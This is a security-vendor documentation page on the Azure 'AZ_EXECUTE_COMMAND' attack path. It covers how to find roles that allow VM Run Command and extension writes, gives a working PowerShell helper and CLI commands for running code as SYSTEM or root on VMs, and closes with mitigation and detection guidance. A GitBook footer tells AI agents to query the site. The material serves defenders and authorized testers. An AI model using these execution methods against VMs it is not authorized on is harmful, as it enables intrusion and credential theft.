> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command.md).

# AZ\_EXECUTE\_COMMAND

## Summary

|                            |                                                                                                                                                                                                                                           |
| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_EXECUTE\_COMMAND                                                                                                                                                                                                                      |
| **Azure Alias**            | Execute Command (VM Run Command, managed Run Commands, extensions)                                                                                                                                                                        |
| **Affected Object Types**  | Virtual Machines, VM Scale Sets                                                                                                                                                                                                           |
| **Exploitation Certainty** | Certain                                                                                                                                                                                                                                   |
| **Permission / Role**      | Azure **resource** permissions that allow running code on the guest (often **Owner**, **Contributor**, **Virtual Machine Contributor**, **Classic Virtual Machine Contributor**). See **Execution mechanisms** for the exact API actions. |

## Description

`AZ_EXECUTE_COMMAND` is the risk that an attacker (or insider) with the right Azure access can **run commands inside your VMs**. Azure exposes several ways to do that (see the table below). Roles such as **Owner**, **Contributor**, and **Virtual Machine Contributor** usually cover those ways.

### Execution mechanisms

| Permission (ARM operation, short name)                                       | Plain-english meaning                                                                                     | Common tools                                        |
| ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
| `Microsoft.Compute/virtualMachines/runCommand/action`                        | Run a **one-off command** on the VM through the agent (the usual “Run Command”).                          | `Invoke-AzVMRunCommand`, `az vm run-command invoke` |
| `Microsoft.Compute/virtualMachines/runCommands/write`                        | **Save a named Run Command** on the VM (script stored on the VM resource).                                | `Set-AzVMRunCommand`, `az vm run-command create`    |
| `Microsoft.Compute/virtualMachines/extensions/write` (and related VM writes) | **Install or change a VM extension** (for example Custom Script Extension), which runs code on the guest. | `Set-AzVMExtension`, `az vm extension set`          |

Run Command on Windows normally runs as **SYSTEM**; on Linux it often runs as **root**. Extensions also run with high privilege on the guest.

Why this matters for security:

* **Stealing credentials** — for example memory/cached credential attacks where your policy allows them.
* **Moving to other systems** — especially if the VM is joined to on-premises Active Directory.
* **Taking data** — files, databases, app data on the VM.
* **Stealing managed identity tokens** — calling the instance metadata service (IMDS) for tokens.
* **Staying on the box** — malware, scheduled tasks, bad extensions, and similar.

## Identification

Look for identities whose roles allow **any** of these actions on the VM (or on a parent scope such as resource group or subscription):

* `Microsoft.Compute/virtualMachines/runCommand/action`
* `Microsoft.Compute/virtualMachines/runCommands/write`
* `Microsoft.Compute/virtualMachines/extensions/write`

Built-in roles like **Owner**, **Contributor**, and **Virtual Machine Contributor** usually include one or more of the above (often via broad `*` or `Microsoft.Compute/virtualMachines/*` patterns). **Custom roles** must be checked against this list.

### PowerShell (Az module)

```powershell
Connect-AzAccount

# Guest execution actions this doc is based on
$guestExecActions = @(
    'Microsoft.Compute/virtualMachines/runCommand/action',
    'Microsoft.Compute/virtualMachines/runCommands/write',
    'Microsoft.Compute/virtualMachines/extensions/write'
)

# Role definitions that appear to grant those actions (exact match, or typical wildcards)
$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }

    foreach ($a in $acts) {
        if ($a -in @('Microsoft.Compute/*', 'Microsoft.Compute/virtualMachines/*')) {
            return $true
        }
    }

    $blob = $acts -join "`n"
    foreach ($action in $guestExecActions) {
        if ($blob -like "*$action*") { return $true }
    }

    return $false
} | Select-Object -ExpandProperty Name -Unique

# Assignments in the current subscription (use -Scope for a resource group or single VM)
Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

To scope to one VM: run `Get-AzRoleAssignment -Scope '/subscriptions/<subId>/resourceGroups/<rg>/providers/Microsoft.Compute/virtualMachines/<vmName>'` (fill in your IDs) and filter with the same `$riskyRoleNames`.

### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **virtual machine** you want to check.
2. Open **Access control (IAM)** → **Role assignments**.
3. Open each relevant role (especially **custom roles**) and confirm whether **Permissions** include the three actions above (or a wildcard that covers them, such as `*` or `Microsoft.Compute/virtualMachines/*`).

## Exploitation

Replace `<RGName>`, `<VMName>`, `<Location>`, and the script text with your own values. These examples are for authorized testing only.

### Invoke-AzVmExecutionMethods (all Az methods)

```powershell
function Invoke-AzVmExecutionMethods {
    [CmdletBinding()]
    param(
        [string] $ResourceGroupName,
        [string] $VMName,
        [string] $Location,
        [ValidateSet('RunCommandAction', 'RunCommandResource', 'CustomScriptExtension', 'All')]
        [string] $Method = 'All',
        [string] $ScriptString = 'whoami; hostname',
        [string] $ManagedRunCommandName = 'managed-run-command-demo',
        [string] $ExtensionName = 'CustomScriptExtension',
        [bool] $LinuxGuest = $false
    )

    function Invoke-MethodRunCommandAction {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        $commandId = if ($LinuxGuest) { 'RunShellScript' } else { 'RunPowerShellScript' }

        Invoke-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -CommandId $commandId `
            -ScriptString $ScriptString
    }

    function Invoke-MethodRunCommandResource {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $RunCommandName,
            [string] $ScriptString
        )

        Set-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Location $Location `
            -RunCommandName $RunCommandName `
            -SourceScript $ScriptString
    }

    function Invoke-MethodCustomScriptExtension {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $ExtensionName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        if ($LinuxGuest) {
            $settings = @{
                commandToExecute = $ScriptString
            }

            Set-AzVMExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Name $ExtensionName `
                -Publisher 'Microsoft.Azure.Extensions' `
                -ExtensionType 'CustomScript' `
                -TypeHandlerVersion '2.1' `
                -SettingString ($settings | ConvertTo-Json -Compress) `
                -Location $Location

            return
        }

        $bytes = [Text.Encoding]::Unicode.GetBytes($ScriptString)
        $encoded = [Convert]::ToBase64String($bytes)

        $commandToExecute = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded"

        $settings = @{
            commandToExecute = $commandToExecute
        }

        Set-AzVMExtension `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Name $ExtensionName `
            -Publisher 'Microsoft.Compute' `
            -ExtensionType 'CustomScriptExtension' `
            -TypeHandlerVersion '1.10' `
            -SettingString ($settings | ConvertTo-Json -Compress) `
            -Location $Location
    }

    if (-not (Get-AzContext)) {
        throw 'Run Connect-AzAccount first.'
    }

    $linux = [bool]$LinuxGuest
    $extName = $ExtensionName

    if ($linux -and $extName -eq 'CustomScriptExtension') {
        $extName = 'CustomScript'
    }

    switch ($Method) {
        'RunCommandAction' {
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'RunCommandResource' {
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString
        }

        'CustomScriptExtension' {
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'All' {
            Write-Host '[*] RunCommand action Invoke-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux

            Write-Host '[*] Managed Run Command resource Set-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString

            Write-Host '[*] Custom Script Extension Set-AzVMExtension' -ForegroundColor Cyan
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }
    }
}
```

**Usage**

```powershell
Connect-AzAccount

# Call the function after dot-sourcing (or after pasting the block above)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method RunCommandAction

# Or run the file directly (shim invokes the function)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method All `
    -ScriptString 'whoami; hostname'
```

For Linux guests, add `-LinuxGuest` (the function selects `RunShellScript` and the Linux Custom Script extension publisher/type).

***

### 1. `Microsoft.Compute/virtualMachines/runCommand/action` — action Run Command

**PowerShell (Windows guest)**

```powershell
Connect-AzAccount

# Executes on the VM guest as SYSTEM (Windows)
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method RunCommandAction
```

![Run Command action via PowerShell on Windows](/files/OqA0djleFiKz1vKcvOpl)

**Azure CLI (Windows guest)**

```bash
az vm run-command invoke --resource-group 'rg-pw-demo' --name 'vm-pw-dc01' --command-id RunPowerShellScript --scripts 'whoami'
```

![Run Command via PowerShell on Windows](/files/Ojnr2ecoFPSdIfp7erQt)

**PowerShell (Linux guest)**

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName linux-admin-login -Method RunCommandAction -ScriptString id -LinuxGuest $true
```

![Run Command via PowerShell on Linux](/files/T2iXl4JRp1ngheyI1KUZ)

***

### 2. `Microsoft.Compute/virtualMachines/runCommands/write` — managed Run Command

Creates a named Run Command on the VM. That is handy when you want a script saved on the VM and run again later. For lab demos, keep `--async-execution false` so the command finishes before the CLI returns. See Microsoft docs if you need async (run in the background).

**Azure CLI**

```bash
az vm run-command create --resource-group rg-pw-demo --vm-name vm-pw-dc01 --run-command-name pentest-proof --location eastus --script "whoami" --async-execution false
```

![Run Command via Azure CLI on Windows — create command](/files/kUbCWB3vAryrtik70Tti)

**PowerShell (Az.Compute)**

```powershell
Set-AzVMRunCommand  -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Location eastus -RunCommandName pentest-proof -SourceScript 'whoami; hostname'
```

![Run Command via PowerShell on Windows — create command](/files/kQZxeqDGTrjOEWbIqqAZ)

***

### 3. `Microsoft.Compute/virtualMachines/extensions/write` / extensions — Custom Script Extension

Adding or updating **Custom Script Extension** runs your script on the guest as part of the extension install/update. If an extension with the same name already exists, you may need a new name, a force-update flag, or to remove the old extension first — see Microsoft’s docs for your case.

**Azure CLI (settings file)**

You need **read** access to the VM for this flow (`Microsoft.Compute/virtualMachines/extensions/read`), not only write.

```bash
@'
{
  "commandToExecute": "powershell -ExecutionPolicy Bypass -Command \"whoami\""
}
'@ | Out-File -Encoding ascii settings.json
az vm extension set --resource-group rg-pw-demo --vm-name vm-pw-dc01 --name CustomScriptExtension --publisher Microsoft.Compute --settings settings.json
```

![Run Command via Azure CLI on Windows — create extension](/files/eN7RUn8E4a5pgalS84Nz)

**PowerShell (Az module)**

Same read permission on the VM applies: `Microsoft.Compute/virtualMachines/extensions/read`.

```powershell
$settings = @{
    commandToExecute = 'powershell -ExecutionPolicy Bypass -Command "whoami"'
}
Set-AzVMExtension `
    -ResourceGroupName rg-pw-demo `
    -VMName vm-pw-dc01 `
    -Name 'CustomScriptExtension' `
    -Location eastus `
    -Publisher 'Microsoft.Compute' `
    -ExtensionType 'CustomScriptExtension' `
    -TypeHandlerVersion '1.10' `
    -SettingString ($settings | ConvertTo-Json -Compress)
```

![Custom Script Extension execution path powershell](/files/7I5rNqJkbt0DJdkNek1P)

**PowerShell — `Invoke-AzVmExecutionMethods`**

Same as the `Set-AzVMExtension` approach inside the helper script; you need `-Location` (Azure region) for this method.

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method CustomScriptExtension -Location eastus
```

![Custom Script Extension execution path powershell](/files/LRZpkFGZ1O7kF87gBwOd)

## Operational security notes

* **Azure Activity Log** often shows who ran Run Command or changed extensions (exact rows depend on your log setup).
* On the guest, these actions are still **SYSTEM** / **root** — your usual VM logs, EDR, and PowerShell logging still matter.
* Saved Run Commands and extensions **leave artifacts** on the VM definition. A one-shot `run-command invoke` is different for investigators and for cleanup.

## Mitigation

1. **Limit who can use Run Command and extensions**
   * Grant **Virtual Machine Contributor** / Owner / Contributor only where it is truly needed (per VM, resource group, or subscription).
   * Use Azure Policy or **custom roles** to block `runCommand/action`, `runCommands/write`, or extension installs where you do not need them.
2. **EDR on every VM**
   * Run Microsoft Defender for Endpoint or another EDR product on the guest OS.
3. **PowerShell logging on Windows**
   * Turn on script block and module logging where your team supports it (Group Policy or similar).

## Detection

Watch for unexpected command runs on VMs and for VM settings changing in ways that run code.

### Azure Activity Log

* **Run Command (one-shot)**: look for `Microsoft.Compute/virtualMachines/runCommand/action` (wording in your logs may vary slightly).
* **Managed Run Commands**: look for writes under `.../runCommands/...`, such as `Microsoft.Compute/virtualMachines/runCommands/write`.
* **Extensions**: `Microsoft.Compute/virtualMachines/extensions/write` and extension deletes.

Alert when the account is odd, the time is odd, or many extensions update at once.

### On the VM (endpoint)

* Processes tied to Run Command or extension handlers.
* PowerShell script-block logs and command lines that look malicious.

## References

* [Azure Threat Research Matrix — AZT301-2: Run Command](https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2/)
* [Run Command overview (Azure VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview)
* [Managed Run Command (Windows VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed)
* [MITRE ATT\&CK — Execution](https://attack.mitre.org/tactics/TA0002/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_execute_command.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
